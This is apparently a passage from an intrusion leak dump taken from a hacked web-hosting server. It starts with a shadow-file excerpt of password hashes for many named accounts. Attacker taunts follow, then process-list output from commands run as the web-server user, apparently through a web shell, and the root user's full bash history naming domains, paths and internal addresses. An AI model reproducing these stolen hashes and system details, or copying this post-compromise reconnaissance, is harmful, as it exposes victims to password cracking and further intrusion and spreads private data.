  3516. vcsa:!!:13913:0:99999:7:::
  3517. rpc:!!:13913:0:99999:7:::
  3518. rpcuser:!!:13913:0:99999:7:::
  3519. nfsnobody:!!:13913:0:99999:7:::
  3520. sshd:!!:13913:0:99999:7:::
  3521. pcap:!!:13913:0:99999:7:::
  3522. haldaemon:!!:13913:0:99999:7:::
  3523. bjmsuper:$1$M63jQMA6$cv.SNTL28NcjmVAaxs2Ej.:15184:0:99999:7:::
  3524. avahi:!!:15182::::::
  3525. avahi-autoipd:!!:15182::::::
  3526. named:!!:15182::::::
  3527. xfs:!!:15182::::::
  3528. apache:!!:15182::::::
  3529. distcache:!!:15182::::::
  3530. mysql:!!:15182::::::
  3531. ntp:!!:15182::::::
  3532. psaadm:!!:15182:0:99999:7:::
  3533. popuser:!!:15182:0:99999:7:::
  3534. mhandlers-user:!!:15182:0:99999:7:::
  3535. psaftp:!!:15182:0:99999:7:::
  3536. sw-cp-server:!!:15182:0:99999:7:::
  3537. webalizer:!!:15182::::::
  3538. postgres:!!:15182::::::
  3539. mailman:!!:15182::::::
  3540. drweb:!!:15182::::::
  3541. postfix:!!:15182::::::
  3542. bcsd:$1$xCMvzTCw$la6TitHPqhZJZxGm8htNm0:15184:0:99999:7:::
  3543. bocs:$1$5MIGny/8$RomAufC87/GVd5jpQqvXd1:15185:0:99999:7:::
  3544. bcso_tiger:$1$sezwL7Dg$FoEEp5RY.3X.nT.uyA1C8/:15184:0:99999:7:::
  3545. ciga:$1$/FQWHz0M$yWPMQj14PQvi1fecxIrsO1:15185:0:99999:7:::
  3546. kcsoms:$1$xAHy/f1k$7xCQaeD8ixjn3xhVwaZyX.:15184:0:99999:7:::
  3547. mcsd:$1$sEyGh2be$PMm64ZLZ7F35Th.EdFZBO1:15184:0:99999:7:::
  3548. bjm:$1$Cy5SbB3b$WHQqxFVZ.mo9CAuw3QK2U.:15184:0:99999:7:::
  3549. demo:$1$yY//AeXg$wNK80Z9Un9tVXIBdSnFVr.:15184:0:99999:7:::
  3550. dymin:$1$Y3Q/Kl9u$BLGlnjVjes3j0Ef6mZKai.:15184:0:99999:7:::
  3551. code:$1$djs7zQTz$MLKsBoIpUu9kQsOJCkgMM/:15184:0:99999:7:::
  3552. bjm2:$1$tW0LeatV$nR94bHILSdmz0Q4N1lpuu1:15184:0:99999:7:::
  3553. polms:$1$dnP9bxxQ$DpXSyrQ6sAFBlchPa1nEd.:15184:0:99999:7:::
  3554. dcsd:$1$ifDMxt/3$vu/BPAh/654jVaUy1FwGk.:15184:0:99999:7:::
  3555. hcsoks:$1$8wW7ldva$S8VCJaXcIVvBY7vfEld2I/:15184:0:99999:7:::
  3556. acsoms:$1$KhajK9K4$gZD3GQ4hFg3bZnm0vi6AN.:15184:0:99999:7:::
  3557. bcsd_sync:$1$uFr8iazf$aByYOYgT811Ip.4wRexL2/:15184:0:99999:7:::
  3558. stoms:$1$lBU2FPZk$HD9JCRmC/zs689ayKbnOO/:15185:0:99999:7:::
  3559. sgsomo:$1$pf9ArBub$aBn.2ZMWAtTYF85YqEep7/:15185:0:99999:7:::
  3560. lcsomo:$1$JR2qCyHf$u41XNGVKhFOdTU9y1e.wY/:15185:0:99999:7:::
  3561. bcsoga:$1$rI93Txxe$2QOjFc33mgEVsYJo89pwf/:15185:0:99999:7:::
  3562. scsomo:$1$r/8EJ7/Q$jbDryfYFa.AZ1pSWHYrqv.:15185:0:99999:7:::
  3563. izcg:$1$um.djC2T$HpUPY4cMmw26EUq1GBFnQ.:15185:0:99999:7:::
  3564. crcsd:$1$PgW3mxOA$WIfi2QX4j5z9HQ/yDadUZ1:15185:0:99999:7:::
  3565. ncsd:$1$z7qrcv0Q$bLlPk0X3ICll7Jj.SYFko.:15185:0:99999:7:::
  3566. johms:$1$YtAcr6vB$rMntSo3tbOZEiAbeFv8FU/:15185:0:99999:7:::
  3567. mcmtn:$1$8Wo2rZXP$y7Ku9Vgu41Ee0mF6zJgv//:15185:0:99999:7:::
  3568. vbcsd:$1$1GxJKxHV$Qc6XRkLc7SZrf3RrSJ/gd1:15185:0:99999:7:::
  3569. rcpica:$1$OWMi9c1P$JvVzpKMhV..4iOLQh.iGz0:15185:0:99999:7:::
  3570. icsd:$1$vYV3gRcq$qorp1ljJnyp/zzx9nnL8d.:15185:0:99999:7:::
  3571. gcsd:$1$KxQLd2nC$emDotofAdSi8FVxHUa6070:15185:0:99999:7:::
  3572. lawmo:$1$XS9q5HHW$WEMi7d5BhZfJ5hFF4tEZy/:15185:0:99999:7:::
  3573.  
  3574. // ROOT LOGGED IN... THEY ARE ON TO US... BUT CAN NEVER STOP US
  3575.  
  3576. # w; ps -aux
  3577. 16:00:00 up 3 days, 14:28, 2 users, load average: 0.04, 0.05, 0.08
  3578. USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
  3579. bjmsuper pts/0 mthm-static-67-2 09:42 6:10m 0.02s 0.25s sshd: bjmsuper
  3580. root pts/1 mthm-static-67-2 Fri11 10:59 0.54s 0.54s -bash
  3581. USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
  3582. root 1 0.0 0.0 2160 584 ? Ss Jul27 0:01 init [3]
  3583. root 2 0.0 0.0 0 0 ? S< Jul27 0:00 [migration/0]
  3584. root 3 0.0 0.0 0 0 ? SN Jul27 0:00 [ksoftirqd/0]
  3585. root 4 0.0 0.0 0 0 ? S< Jul27 0:00 [watchdog/0]
  3586. root 5 0.0 0.0 0 0 ? S< Jul27 0:00 [migration/1]
  3587. root 6 0.0 0.0 0 0 ? SN Jul27 0:00 [ksoftirqd/1]
  3588. root 7 0.0 0.0 0 0 ? S< Jul27 0:00 [watchdog/1]
  3589. root 8 0.0 0.0 0 0 ? S< Jul27 0:00 [migration/2]
  3590. root 9 0.0 0.0 0 0 ? SN Jul27 0:00 [ksoftirqd/2]
  3591. root 10 0.0 0.0 0 0 ? S< Jul27 0:00 [watchdog/2]
  3592. root 11 0.0 0.0 0 0 ? S< Jul27 0:00 [migration/3]
  3593. root 12 0.0 0.0 0 0 ? SN Jul27 0:00 [ksoftirqd/3]
  3594. root 13 0.0 0.0 0 0 ? S< Jul27 0:00 [watchdog/3]
  3595. root 14 0.0 0.0 0 0 ? S< Jul27 0:00 [events/0]
  3596. root 15 0.0 0.0 0 0 ? S< Jul27 0:00 [events/1]
  3597. root 16 0.0 0.0 0 0 ? S< Jul27 0:00 [events/2]
  3598. root 17 0.0 0.0 0 0 ? S< Jul27 0:00 [events/3]
  3599. root 18 0.0 0.0 0 0 ? S< Jul27 0:00 [khelper]
  3600. root 19 0.0 0.0 0 0 ? S< Jul27 0:00 [kthread]
  3601. root 25 0.0 0.0 0 0 ? S< Jul27 0:00 [kblockd/0]
  3602. root 26 0.0 0.0 0 0 ? S< Jul27 0:00 [kblockd/1]
  3603. root 27 0.0 0.0 0 0 ? S< Jul27 0:00 [kblockd/2]
  3604. root 28 0.0 0.0 0 0 ? S< Jul27 0:00 [kblockd/3]
  3605. root 29 0.0 0.0 0 0 ? S< Jul27 0:00 [kacpid]
  3606. root 130 0.0 0.0 0 0 ? S< Jul27 0:00 [cqueue/0]
  3607. root 131 0.0 0.0 0 0 ? S< Jul27 0:00 [cqueue/1]
  3608. root 132 0.0 0.0 0 0 ? S< Jul27 0:00 [cqueue/2]
  3609. root 133 0.0 0.0 0 0 ? S< Jul27 0:00 [cqueue/3]
  3610. root 136 0.0 0.0 0 0 ? S< Jul27 0:00 [khubd]
  3611. root 138 0.0 0.0 0 0 ? S< Jul27 0:00 [kseriod]
  3612. root 213 0.0 0.0 0 0 ? S Jul27 0:00 [khungtaskd]
  3613. root 216 0.0 0.0 0 0 ? S< Jul27 0:04 [kswapd0]
  3614. root 217 0.0 0.0 0 0 ? S< Jul27 0:00 [aio/0]
  3615. root 218 0.0 0.0 0 0 ? S< Jul27 0:00 [aio/1]
  3616. root 219 0.0 0.0 0 0 ? S< Jul27 0:00 [aio/2]
  3617. root 220 0.0 0.0 0 0 ? S< Jul27 0:00 [aio/3]
  3618. root 375 0.0 0.0 0 0 ? S< Jul27 0:00 [kpsmoused]
  3619. root 422 0.0 0.0 0 0 ? S< Jul27 0:00 [scsi_eh_0]
  3620. root 428 0.0 0.0 0 0 ? S< Jul27 0:00 [ata/0]
  3621. root 429 0.0 0.0 0 0 ? S< Jul27 0:00 [ata/1]
  3622. root 430 0.0 0.0 0 0 ? S< Jul27 0:00 [ata/2]
  3623. root 431 0.0 0.0 0 0 ? S< Jul27 0:00 [ata/3]
  3624. root 432 0.0 0.0 0 0 ? S< Jul27 0:00 [ata_aux]
  3625. root 438 0.0 0.0 0 0 ? S< Jul27 0:00 [scsi_eh_1]
  3626. root 439 0.0 0.0 0 0 ? S< Jul27 0:00 [scsi_eh_2]
  3627. root 460 0.0 0.0 0 0 ? S< Jul27 0:00 [kstriped]
  3628. root 481 0.0 0.0 0 0 ? S< Jul27 0:22 [kjournald]
  3629. root 506 0.0 0.0 0 0 ? S< Jul27 0:00 [kauditd]
  3630. root 539 0.0 0.0 2376 628 ? S< Jul27 0:00 [kmpathd/0]
  3631. root 1391 0.0 0.0 0 0 ? S< Jul27 0:00 [kmpathd/1]
  3632. root 1392 0.0 0.0 0 0 ? S< Jul27 0:00 [kmpathd/2]
  3633. root 1393 0.0 0.0 0 0 ? S< Jul27 0:00 [kmpathd/3]
  3634. root 1394 0.0 0.0 0 0 ? S< Jul27 0:00
  3635. [kmpath_handlerd]
  3636. root 1423 0.0 0.0 0 0 ? S< Jul27 0:00 [kjournald]
  3637. root 1687 0.0 0.0 0 0 ? S< Jul27 0:00 [kondemand/0]
  3638. root 1688 0.0 0.0 0 0 ? S< Jul27 0:00 [kondemand/1]
  3639. root 1689 0.0 0.0 0 0 ? S< Jul27 0:00 [kondemand/2]
  3640. root 1690 0.0 0.0 0 0 ? S< Jul27 0:00 [kondemand/3]
  3641. root 2146 0.0 0.0 12628 776 ? S< Jul27 0:00 [rpciod/0]
  3642. root 2259 0.0 0.0 0 0 ? S< Jul27 0:00 [rpciod/1]
  3643. root 2260 0.0 0.0 0 0 ? S< Jul27 0:00 [rpciod/2]
  3644. root 2261 0.0 0.0 0 0 ? S< Jul27 0:00 [rpciod/3]
  3645. rpcuser 2270 0.0 0.0 1964 744 ? Ss Jul27 0:00 rpc.statd
  3646. root 2302 0.0 0.0 5952 636 ? Ss Jul27 0:00 rpc.idmapd
  3647. dbus 2330 0.0 0.0 2844 940 ? Ss Jul27 0:00 dbus-daemon
  3648. --system
  3649. root 2343 0.0 0.0 2256 768 ? Ss Jul27 0:00 /usr/sbin/hcid
  3650. root 2349 0.0 0.0 1832 504 ? Ss Jul27 0:00 /usr/sbin/sdpd
  3651. root 2380 0.0 0.0 0 0 ? S< Jul27 0:00 [krfcommd]
  3652. root 2424 0.0 0.0 12956 1396 ? Ssl Jul27 0:00 pcscd
  3653. root 2438 0.0 0.0 1760 524 ? Ss Jul27 0:00 /usr/sbin/acpid
  3654. root 2462 0.0 0.0 2008 452 ? Ss Jul27 0:00 /usr/bin/hidd
  3655. --server
  3656. root 2492 0.0 0.0 27364 1368 ? Ssl Jul27 0:00 automount
  3657. root 2565 0.0 0.0 10260 2316 ? Ss Jul27 0:00 cupsd
  3658. root 2582 0.0 0.0 2836 872 ? Ss Jul27 0:00 xinetd
  3659. -stayalive -pidfile /var/run/xinetd.pid
  3660. root 2687 0.0 0.0 6972 1804 ? Ss Jul27 0:05
  3661. /usr/libexec/postfix/master
  3662. root 2721 0.0 0.0 2000 364 ? Ss Jul27 0:00 gpm -m
  3663. /dev/input/mice -t exps2
  3664. postgres 2969 0.0 0.1 21248 3320 ? S Jul27 0:00
  3665. /usr/bin/postmaster -p 5432 -D /var/lib/pgsql/data
  3666. postgres 2971 0.0 0.0 11024 864 ? S Jul27 0:00 postgres:
  3667. logger process
  3668. postgres 2973 0.0 0.0 21248 948 ? S Jul27 0:00 postgres:
  3669. writer process
  3670. postgres 2974 0.0 0.0 12028 768 ? S Jul27 0:00 postgres: stats
  3671. buffer process
  3672. postgres 2975 0.0 0.0 11212 948 ? S Jul27 0:00 postgres: stats
  3673. collector process
  3674. drweb 3167 0.2 3.8 122892 119308 ? Ss Jul27 13:13 drwebd.real
  3675. root 3186 0.0 0.3 41216 10008 ? S Jul27 0:24
  3676. /usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini
  3677. /usr/lib/plesk-9.0/psa-health-monitor-notification.php
  3678. root 3200 0.6 0.0 71956 2632 ? Ssl Jul27 31:31
  3679. /usr/sbin/sw-collectd -C /etc/sw-collectd/collectd.conf
  3680. root 3219 0.0 0.0 5380 1132 ? Ss Jul27 0:00 crond
  3681. xfs 3244 0.0 0.0 3264 992 ? Ss Jul27 0:00 xfs -droppriv
  3682. -daemon
  3683. root 3269 0.0 0.0 2360 436 ? Ss Jul27 0:00 /usr/sbin/atd
  3684. avahi 3296 0.0 0.0 2696 1300 ? Ss Jul27 0:00 avahi-daemon:
  3685. running [ip-173-201-44-217.local]
  3686. avahi 3297 0.0 0.0 2696 432 ? Ss Jul27 0:00 avahi-daemon:
  3687. chroot helper
  3688. 68 3310 0.0 0.1 5788 3780 ? Ss Jul27 0:00 hald
  3689. root 3311 0.0 0.0 3264 988 ? S Jul27 0:00 hald-runner
  3690. 68 3319 0.0 0.0 2108 816 ? S Jul27 0:00
  3691. hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
  3692. root 3348 0.0 0.0 33228 532 ? Sl Jul27 0:00 /usr/bin/hptsvr
  3693. root 3650 0.0 0.3 26128 10404 ? SN Jul27 0:00 /usr/bin/python
  3694. -tt /usr/sbin/yum-updatesd
  3695. root 3653 0.0 0.0 2656 1136 ? SN Jul27 0:00
  3696. /usr/libexec/gam_server
  3697. root 3707 0.0 0.0 3612 428 ? S Jul27 0:00
  3698. /usr/sbin/smartd -q never
  3699. root 3711 0.0 0.0 1748 440 tty2 Ss+ Jul27 0:00 /sbin/mingetty
  3700. tty2
  3701. root 3712 0.0 0.0 1748 444 tty3 Ss+ Jul27 0:00 /sbin/mingetty
  3702. tty3
  3703. root 3713 0.0 0.0 1748 464 tty4 Ss+ Jul27 0:00 /sbin/mingetty
  3704. tty4
  3705. root 3716 0.0 0.0 1748 444 tty5 Ss+ Jul27 0:00 /sbin/mingetty
  3706. tty5
  3707. root 3718 0.0 0.0 1748 444 tty6 Ss+ Jul27 0:00 /sbin/mingetty
  3708. tty6
  3709. root 5002 0.0 0.0 1748 440 tty1 Ss+ Jul27 0:00 /sbin/mingetty
  3710. tty1
  3711. root 9735 0.0 0.0 2940 552 ? S Jul29 0:00
  3712. /usr/lib/courier-imap/couriertcpd -address=0
  3713. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd -maxprocs=40
  3714. -maxperip=4 -pid=/var/run/imapd.pid -nodnslookup -noidentlookup 143
  3715. /usr/sbin/imaplogin /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  3716. root 9737 0.0 0.0 1616 244 ? S Jul29 0:00
  3717. /usr/sbin/courierlogger imapd
  3718. root 9745 0.0 0.0 2940 568 ? S Jul29 0:00
  3719. /usr/lib/courier-imap/couriertcpd -address=0
  3720. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd-ssl -maxprocs=40
  3721. -maxperip=4 -pid=/var/run/imapd-ssl.pid -nodnslookup -noidentlookup 993
  3722. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  3723. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  3724. root 9747 0.0 0.0 1616 244 ? S Jul29 0:00
  3725. /usr/sbin/courierlogger imapd-ssl
  3726. root 9753 0.0 0.0 2940 568 ? S Jul29 0:00
  3727. /usr/lib/courier-imap/couriertcpd -address=0
  3728. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d -maxprocs=40
  3729. -maxperip=4 -pid=/var/run/pop3d.pid -nodnslookup -noidentlookup 110
  3730. /usr/sbin/pop3login /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  3731. root 9755 0.0 0.0 1616 244 ? S Jul29 0:00
  3732. /usr/sbin/courierlogger pop3d
  3733. root 9762 0.0 0.0 2940 552 ? S Jul29 0:00
  3734. /usr/lib/courier-imap/couriertcpd -address=0
  3735. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d-ssl -maxprocs=40
  3736. -maxperip=4 -pid=/var/run/pop3d-ssl.pid -nodnslookup -noidentlookup 995
  3737. /usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
  3738. /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  3739. root 9764 0.0 0.0 1616 244 ? S Jul29 0:00
  3740. /usr/sbin/courierlogger pop3d-ssl
  3741. root 10009 0.0 0.0 0 0 ? S 12:50 0:00 [pdflush]
  3742. root 11853 0.0 0.9 34508 29812 ? Ss Jul29 0:00 /usr/bin/spamd
  3743. --username=popuser --daemonize --nouser-config --helper-home-dir=/var/qmail
  3744. --max-children 5 --create-prefs
  3745. --virtual-config-dir=/var/qmail/mailnames/%d/%l/.spamassassin
  3746. --pidfile=/var/run/spamd/spamd_full.pid --socketpath=/tmp/spamd_full.sock
  3747. popuser 11854 0.0 0.9 34508 28388 ? S Jul29 0:00 spamd child
  3748. popuser 11855 0.0 0.9 34508 28312 ? S Jul29 0:00 spamd child
  3749. 503 17229 0.0 0.2 10356 6568 ? S Jul27 0:43
  3750. /usr/sbin/sw-cp-serverd -f /etc/sw-cp-server/config
  3751. root 18794 0.0 0.0 4628 1216 ? S Jul27 0:00 /bin/sh
  3752. /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
  3753. --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
  3754. --user=mysql
  3755. mysql 18844 0.3 1.0 150116 32948 ? Sl Jul27 17:10
  3756. /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
  3757. --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking
  3758. --socket=/var/lib/mysql/mysql.sock
  3759. postfix 20135 0.0 0.0 7036 1780 ? S 14:37 0:00 pickup -l -t
  3760. fifo -u -o content_filter smtp:127.0.0.1:10027
  3761. postfix 20730 0.0 0.0 7728 2544 ? S Jul28 0:05 qmgr -l -t fifo
  3762. -u
  3763. postfix 20733 0.0 0.0 7072 1940 ? S Jul28 0:00 tlsmgr -l -t
  3764. unix -u
  3765. root 23510 0.0 0.1 12000 3420 ? Ss 09:42 0:00 sshd: bjmsuper
  3766. [priv]
  3767. bjmsuper 23516 0.0 0.0 12000 1852 ? S 09:42 0:00 sshd:
  3768. bjmsuper@pts/0
  3769. bjmsuper 23517 0.0 0.0 4632 1476 pts/0 Ss 09:42 0:00 -bash
  3770. root 23545 0.0 0.0 9404 2092 pts/0 S 09:42 0:00 su -
  3771. root 23546 0.0 0.0 4752 1444 pts/0 S+ 09:42 0:00 -bash
  3772. root 24221 0.0 0.0 7220 1056 ? Ss Jul28 0:00 /usr/sbin/sshd
  3773. drweb 25217 0.0 3.8 122892 117976 ? S 15:30 0:00 drwebd.real
  3774. drweb 25218 0.0 3.8 122892 117980 ? S 15:30 0:00 drwebd.real
  3775. drweb 25219 0.0 3.8 122892 117980 ? S 15:30 0:00 drwebd.real
  3776. drweb 25220 0.0 3.8 122892 117980 ? S 15:30 0:00 drwebd.real
  3777. named 26286 0.0 0.2 75300 6296 ? Ssl Jul27 0:03 /usr/sbin/named
  3778. -u named -c /etc/named.conf -u named -t /var/named/run-root
  3779. root 28663 0.0 0.0 0 0 ? S 15:48 0:00 [pdflush]
  3780. root 29137 0.0 0.6 44620 20492 ? Ss 15:48 0:00 /usr/sbin/httpd
  3781. apache 29139 0.0 0.2 30444 8224 ? S 15:48 0:00 /usr/sbin/httpd
  3782. apache 29140 0.0 0.8 54880 26848 ? S 15:48 0:00 /usr/sbin/httpd
  3783. apache 29141 0.0 0.5 45352 16812 ? S 15:48 0:00 /usr/sbin/httpd
  3784. apache 29142 0.0 0.5 45188 16312 ? S 15:48 0:00 /usr/sbin/httpd
  3785. apache 29143 0.0 0.8 54820 26052 ? S 15:48 0:00 /usr/sbin/httpd
  3786. apache 29145 0.0 0.5 45368 16896 ? S 15:48 0:00 /usr/sbin/httpd
  3787. apache 29146 0.0 0.5 45516 16564 ? S 15:48 0:00 /usr/sbin/httpd
  3788. apache 29148 0.0 0.5 45536 16508 ? S 15:48 0:00 /usr/sbin/httpd
  3789. apache 29194 0.0 0.8 54796 26952 ? S 15:48 0:00 /usr/sbin/httpd
  3790. apache 29195 0.0 0.5 45404 16312 ? S 15:48 0:00 /usr/sbin/httpd
  3791. apache 29197 0.0 0.8 54844 25836 ? S 15:48 0:00 /usr/sbin/httpd
  3792. apache 29198 0.0 0.5 45224 15928 ? S 15:48 0:00 /usr/sbin/httpd
  3793. apache 29199 0.0 0.5 45232 15828 ? S 15:48 0:00 /usr/sbin/httpd
  3794. apache 29200 0.0 0.8 54872 26868 ? S 15:48 0:00 /usr/sbin/httpd
  3795. apache 29201 0.0 0.5 45268 17176 ? S 15:48 0:00 /usr/sbin/httpd
  3796. apache 29202 0.0 0.5 45196 15784 ? S 15:48 0:00 /usr/sbin/httpd
  3797. apache 29203 0.0 0.8 54908 27108 ? S 15:48 0:00 /usr/sbin/httpd
  3798. apache 29205 0.0 0.5 45376 16368 ? S 15:48 0:00 /usr/sbin/httpd
  3799. apache 29206 0.0 0.8 54844 26268 ? S 15:48 0:00 /usr/sbin/httpd
  3800. apache 29207 0.0 0.5 45444 16520 ? S 15:48 0:00 /usr/sbin/httpd
  3801. apache 29465 0.1 0.5 45152 15460 ? S 15:57 0:00 /usr/sbin/httpd
  3802. apache 29617 0.0 0.0 2548 984 ? S 16:00 0:00 sh -c w;ps -aux
  3803. apache 29620 0.0 0.0 2276 824 ? R 16:00 0:00 ps -aux
  3804. root 30158 0.0 0.1 12136 3224 ? Ss Jul29 0:03 sshd:
  3805. root@pts/1
  3806. root 30168 0.0 0.0 4748 1536 pts/1 Ss+ Jul29 0:00 -bash
  3807.  
  3808. // LETS SEE HOW THEY ATTEMPTED TO SECURE THEIR NEW SERVER...
  3809.  
  3810. # cat ~root/.bash_history
  3811. ifconfig
  3812. ping 10.0.0.1
  3813. ping 10.0.0.254
  3814. service sshd status
  3815. service network restart
  3816. service sshd restart
  3817. service iptables restart
  3818. service iptables stop
  3819. service iptables start
  3820. exit
  3821. service iptables stop
  3822. service psa start
  3823. service psa status
  3824. netstat -anp | less
  3825. tcpdump not port ssh
  3826. yum update -y
  3827. date
  3828. pwd
  3829. mkdir htmldoc
  3830. wget
  3831. http://www.htmldoc.org/software.php?VERSION=1.8.27&FILE=htmldoc/1.8.27/htmldoc-1
  3832. .8.27-source.tar.gz
  3833. ls
  3834. rm software.php\?VERSION\=1.8.27
  3835. cd htmldoc/
  3836. wget http://ftp.easysw.com/pub/htmldoc/1.8.27/htmldoc-1.8.27-source.tar.gz
  3837. gunzip htmldoc-1.8.27-source.tar.gz
  3838. tar -xvf htmldoc-1.8.27-source.tar
  3839. cd htmldoc-1.8.27
  3840. ./configure
  3841. yum install gcc-c++
  3842. make
  3843. make install
  3844. cd ..
  3845. cd ..
  3846. mkdir ImageMagick
  3847. yum install tcl-devel libpng-devel libjpg-devel ghostscript-devel bzip2-devel
  3848. freetype-devel libtiff-devel
  3849. pwd
  3850. cd ImageMagick/
  3851. wget ftp://ftp.imagemagick.org/pub/ImageMagick/ImageMagick.tar.gz
  3852. tar -xzvf ImageMagick.tar.gz
  3853. cd ImageMagick-6.7.1-0/
  3854. ls
  3855. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3856. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3857. --with-jp2=yes --with-png=yes --with-tiff=yes
  3858. yum install java-1.6.0-openjdk-devel.i386
  3859. cd /usr/src/
  3860. ls
  3861. wget http://www.pdflib.com/binaries/PDFlib/705/PDFlib-Lite-7.0.5.tar.gz
  3862. tar -xzpf PDFlib-Lite-7.0.5.tar.gz
  3863. cd PDFlib-Lite-7.0.5
  3864. ls
  3865. ./configure -prefix=/usr/local
  3866. make
  3867. make install
  3868. yum install php-pear
  3869. pecl install pdflib
  3870. cp /usr/local/lib/libpdf.so /usr/include/php/ext
  3871. echo "[libpdf]" >> /etc/php.ini
  3872. echo "extension=pdf.so" >> /etc/php.ini
  3873. service httpd restart
  3874. cd /etc
  3875. ls php.ini
  3876. vi php.ini
  3877. vi php.ini
  3878. service httpd restart
  3879. cd
  3880. cd ImageMagick/
  3881. ls
  3882. cd ImageMagick
  3883. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3884. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3885. --with-jp2=yes --with-png=yes --with-tiff=yes
  3886. ls
  3887. cd ImageMagick-6.7.1-0/
  3888. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3889. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3890. --with-jp2=yes --with-png=yes --with-tiff=yes
  3891. yum install libjpeg-devel
  3892. yum install tcl-devel
  3893. yum install libpng-devel
  3894. yum install ghostscript-devel
  3895. yum install bzip2-devel
  3896. yum install freetype-devel
  3897. yum install libtiff-devel
  3898. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3899. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3900. --with-jp2=yes --with-png=yes --with-tiff=yes
  3901. ./configure --prefix=/usr/ --with-bzlib=yes --with-fontconfig=yes
  3902. --with-freetype=yes --with-gslib=yes --with-gvc=yes --with-jpeg=yes
  3903. --with-jp2=yes --with-png=yes --with-tiff=yes
  3904. make clean
  3905. make
  3906. make install
  3907. cd .ssh/
  3908. ll
  3909. chown root:root authorized_keys2
  3910. vi /etc/my.cnf
  3911. service mysqld restart
  3912. pkill mysql
  3913. service mysqld restart
  3914. ps -ef | grep my
  3915. vi /etc/my.cnf
  3916. service mysqld start
  3917. /usr/local/psa/bin/reconfigurator.pl mapfile
  3918. vi mapfile
  3919. ifconfig -a
  3920. vi mapfile
  3921. ifconfig -a
  3922. /usr/local/psa/bin/reconfigurator.pl mapfile
  3923. mv mapfile mapfile.old
  3924. /usr/local/psa/bin/reconfigurator.pl mapfile
  3925. vi mapfile
  3926. /usr/local/psa/bin/reconfigurator.pl mapfile
  3927. vi mapfile
  3928. mv mapfile mapfile88
  3929. /usr/local/psa/bin/reconfigurator.pl mapfile
  3930. vi mapfile
  3931. ll
  3932. cat mapfile.old
  3933. /usr/local/psa/bin/reconfigurator.pl mapfile.old
  3934. vi mapfile.old
  3935. /usr/local/psa/bin/reconfigurator.pl mapfile.old
  3936. vi mapfile.old
  3937. vi mapfile.old
  3938. ls
  3939. ifconfig -a
  3940. ifconfig -a
  3941. rm mapfile
  3942. /usr/local/psa/bin/reconfigurator.pl mapfile.old
  3943. /usr/local/psa/bin/reconfigurator.pl mapfile
  3944. vi mapfile
  3945. ls /etc/sysconfig/network-scripts/
  3946. cd /etc/sysconfig/network-scripts/
  3947. ls
  3948. ls
  3949. less ifcfg-eth0
  3950. cd
  3951. ls
  3952. finder.pl /var/www/vhosts/
  3953. finder.pl /var/www/vhosts/
  3954. find /var/www/vhosts/
  3955. less /var/log/rkhunter.log
  3956. cd
  3957. cd /var/www/vhosts/cityofgassville.org/
  3958. ls
  3959. cd httpsdocs/
  3960. ls
  3961. less index.html
  3962. cd
  3963. cd /var/www/vhosts/mostwantedwebsites.net/
  3964. ll
  3965. cd httpdocs/
  3966. ls
  3967. ll
  3968. mkdir ../old
  3969. mv access_log.processed _bak/ csv_for_lead_hill_change_log.php test/ ../old/
  3970. ll
  3971. telnet mail.cityofgassville.com 25
  3972. ssh 173.201.44.1
  3973. cd /var/www/vhosts/
  3974. ls
  3975. cd default/
  3976. ll
  3977. cd htdocs/
  3978. ll
  3979. vi index.html
  3980. vi .htaccess
  3981. cd ..
  3982. cd ..
  3983. ls
  3984. cd mostwantedgovernmentwebsites.com
  3985. ll
  3986. cd httpdocs/
  3987. ll
  3988. find . -name \*bak\*
  3989. find . -perm 777 -ls
  3990. chown apache:apache ./uploads
  3991. chmod 1755 uploads/
  3992. ls admin
  3993. find . -perm 777 -type f -exec chmod 644 {} \; -ls
  3994. find uploads/ -ls
  3995. ls
  3996. ll
  3997. ll api
  3998. less api/index.php
  3999. mkdir ../old
  4000. find . -name \*bak\*
  4001. find . -name \*bak\* -exec mv -vb {} ../old/ \;
  4002. find . -name \*bak\*
  4003. ls
  4004. ll
  4005. cd /var/www/vhosts/
  4006. ls
  4007. cd default/
  4008. ll -a
  4009. cd htdocs/
  4010. ll
  4011. vi .htaccess
  4012. service httpd restart
  4013. vi .htaccess
  4014. service httpd restart
  4015. ls
  4016. ll
  4017. tcpdump port 80
  4018. tcpdump port 80 -n
  4019. tcpdump port 80
  4020. tcpdump port 80 -s 1500
  4021. tcpdump port 80 -s 1500 -A
  4022. tcpdump port 80 -s 1500 -A| less
  4023. cd ../../
  4024. cd mostwantedgovernmentwebsites.com/
  4025. cd httpdocs/
  4026. vi index.htm
  4027. cd ../..
  4028. cd ../
  4029. cd -
  4030. ls
  4031. cd mostwantedwebsites.net/
  4032. cd httpdocs/
  4033. vi index.htm
  4034. less ../statistics/logs/access_log
  4035. ls
  4036. pwd
  4037. pwd
  4038. cd ../../
  4039. ls
  4040. cd mostwantedgovernmentwebsites.com
  4041. ls
  4042. ll
  4043. cd httpdocs/
  4044. ll
  4045. vi index.htm
  4046. mv index.htm index.htm_bak
  4047. vi index.htm
